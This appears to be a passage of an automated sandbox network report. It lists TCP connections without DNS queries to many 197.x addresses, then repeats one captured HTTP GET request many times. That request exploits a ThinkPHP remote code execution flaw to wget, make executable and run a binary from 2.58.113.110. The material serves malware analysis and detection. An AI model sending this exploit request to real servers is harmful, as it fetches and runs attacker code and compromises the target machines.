Source: unknown	TCP traffic detected without corresponding DNS query: 197.193.82.48
Source: unknown	TCP traffic detected without corresponding DNS query: 197.61.144.176
Source: unknown	TCP traffic detected without corresponding DNS query: 197.75.251.41
Source: unknown	TCP traffic detected without corresponding DNS query: 197.36.244.219
Source: unknown	TCP traffic detected without corresponding DNS query: 197.238.217.234
Source: unknown	TCP traffic detected without corresponding DNS query: 197.153.19.143
Source: unknown	TCP traffic detected without corresponding DNS query: 197.62.242.98
Source: unknown	TCP traffic detected without corresponding DNS query: 197.162.232.23
Source: unknown	TCP traffic detected without corresponding DNS query: 197.22.18.13
Source: unknown	TCP traffic detected without corresponding DNS query: 197.119.27.79
Source: unknown	TCP traffic detected without corresponding DNS query: 197.174.79.45
Source: unknown	TCP traffic detected without corresponding DNS query: 197.84.98.117
Source: unknown	TCP traffic detected without corresponding DNS query: 197.15.109.5
Source: unknown	TCP traffic detected without corresponding DNS query: 197.104.205.72
Source: unknown	TCP traffic detected without corresponding DNS query: 197.125.166.82
Source: unknown	TCP traffic detected without corresponding DNS query: 197.232.133.202
Source: unknown	TCP traffic detected without corresponding DNS query: 197.175.180.229
Source: unknown	TCP traffic detected without corresponding DNS query: 197.141.38.251
Source: unknown	TCP traffic detected without corresponding DNS query: 197.222.40.41
Source: unknown	TCP traffic detected without corresponding DNS query: 197.44.169.8
Source: unknown	TCP traffic detected without corresponding DNS query: 197.94.208.161
Source: unknown	TCP traffic detected without corresponding DNS query: 197.48.29.21
Source: unknown	TCP traffic detected without corresponding DNS query: 197.72.103.105
Source: unknown	TCP traffic detected without corresponding DNS query: 197.63.101.72
Source: unknown	TCP traffic detected without corresponding DNS query: 197.161.223.8
Source: unknown	TCP traffic detected without corresponding DNS query: 197.174.58.204
Source: unknown	TCP traffic detected without corresponding DNS query: 197.254.241.184
Source: unknown	TCP traffic detected without corresponding DNS query: 197.40.215.134

Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
